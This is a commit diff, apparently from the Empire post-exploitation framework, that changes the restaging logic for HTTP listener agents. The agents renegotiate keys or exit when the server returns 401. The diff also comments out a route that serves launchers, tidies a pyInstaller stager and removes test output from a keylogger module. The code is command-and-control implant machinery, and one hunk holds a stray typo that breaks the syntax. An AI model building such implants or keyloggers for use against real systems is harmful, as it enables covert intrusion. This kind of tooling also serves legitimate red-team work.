websockets-multiuser
rvrsh3ll 2017-10-24 10:31:28 -04:00
commit ead8ce05a8
7 changed files with 64 additions and 45 deletions

View File

@ -18,6 +18,8 @@ import socket
import subprocess
from binascii import hexlify
LANGUAGE = {
'NONE' : 0,
'POWERSHELL' : 1,

View File

@ -708,6 +708,10 @@ class Listener:
}
catch [System.Net.WebException]{
# exception posting data...
if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
# restart key negotiation
Start-Negotiate -S "$ser" -SK $SK -UA $ua
}
}
}
}
@ -758,6 +762,10 @@ def send_message(packets=None):
except urllib2.HTTPError as HTTPError:
# if the server is reached, but returns an erro (like 404)
missedCheckins = missedCheckins + 1
#if signaled for restaging, exit.
if HTTPError.code == 401:
sys.exit(0)
return (HTTPError.code, '')
except urllib2.URLError as URLerror:
@ -801,13 +809,14 @@ def send_message(packets=None):
self.app = app
@app.route('/<string:stagerURI>')
def send_stager(stagerURI):
if stagerURI:
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
return launcher
else:
pass
#@app.route('/<string:stagerURI>')
#def send_stager(stagerURI):
#if stagerURI:
#launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
#return launcher
#else:
#pass
@app.before_request
def check_ip():
"""
@ -882,7 +891,7 @@ def send_message(packets=None):
if 'not in cache' in results:
# signal the client to restage
print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP))
print helpers.color("[*] Orphaned agent from %s, signaling restaging" % (clientIP))
return make_response(self.default_response(), 401)
else:
return make_response(self.default_response(), 200)

View File

@ -460,6 +460,10 @@ class Listener:
}
catch [System.Net.WebException]{
# exception posting data...
if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
# restart key negotiation
Start-Negotiate -S "$ser" -SK $SK -UA $ua
}
}
}
}

View File

@ -451,6 +451,10 @@ class Listener:
}
catch [System.Net.WebException]{
# exception posting data...
if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
# restart key negotiation
Start-Negotiate -S "$ser" -SK $SK -UA $ua
}
}
}
}
@ -498,7 +502,9 @@ def send_message(packets=None):
except urllib2.HTTPError as HTTPError:
# if the server is reached, but returns an erro (like 404)
missedCheckins = missedCheckins + 1
return (HTTPError.code, '')
r#if signaled for restaging, exit.
if HTTPError.code == 401:
sys.exit(0)
except urllib2.URLError as URLerror:
# if the server cannot be reached

View File

@ -419,6 +419,10 @@ class Listener:
}
catch [System.Net.WebException]{
# exception posting data...
if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
# restart key negotiation
Start-Negotiate -S "$ser" -SK $SK -UA $ua
}
}
}
}
@ -466,7 +470,9 @@ def send_message(packets=None):
except urllib2.HTTPError as HTTPError:
# if the server is reached, but returns an erro (like 404)
missedCheckins = missedCheckins + 1
return (HTTPError.code, '')
#if signaled for restaging, exit.
if HTTPError.code == 401:
sys.exit(0)
except urllib2.URLError as URLerror:
# if the server cannot be reached

View File

@ -782,11 +782,6 @@ def to_keysyms(released, group, level):
return u''.join(keys)
run()
x = 0
while x < 4:
sleep(6)
job_message_buffer('test '+str(x)+'\\n')
x += 1
job_message_buffer('[!] Keylogger exited\\n')
"""

View File

@ -1,11 +1,13 @@
from lib.common import helpers
import os
"""
Install steps...
- install pyInstaller
-- try: apt-get -y install python-pip && pip install pyinstaller
-- try:
- copy into stagers directory
-- ./Empire/lib/stagers/
@ -112,21 +114,16 @@ class Stager:
self.conn = self.mainMenu.conn
# pull out the code install path from the database config
cur = self.conn.cursor()
#cur.execute("SELECT install_path FROM config")
#installPath_Str = cur.fetchone()[0]
cur.close()
import os
#<<<<<<< HEAD:lib/stagers/osx/pyinstaller.py
stagerFFP_Str = self.mainMenu.installPath + "/data/agent/stagers/http.py"
#stagerFFP_Str = os.path.join(installPath_Str, "data/agent/stager.py")
#=======
stagerFFP_Str = os.path.join(installPath_Str, "data/agent/stagers/http.py")
#>>>>>>> ec606351797a9f97676a33767f38e341bd1e18bf:lib/stagers/multi/pyinstaller.py
stagerFFP_Str = os.path.join(self.mainMenu.installPath, "data/agent/stagers/http.py")
filesToExtractImportsFrom_List.append(stagerFFP_Str)
agentFFP_Str = self.mainMenu.installPath + "/data/agent/agent.py"
#agentFFP_Str = os.path.join(installPath_Str, "data/agent/agent.py")
filesToExtractImportsFrom_List.append(agentFFP_Str)
imports_List = []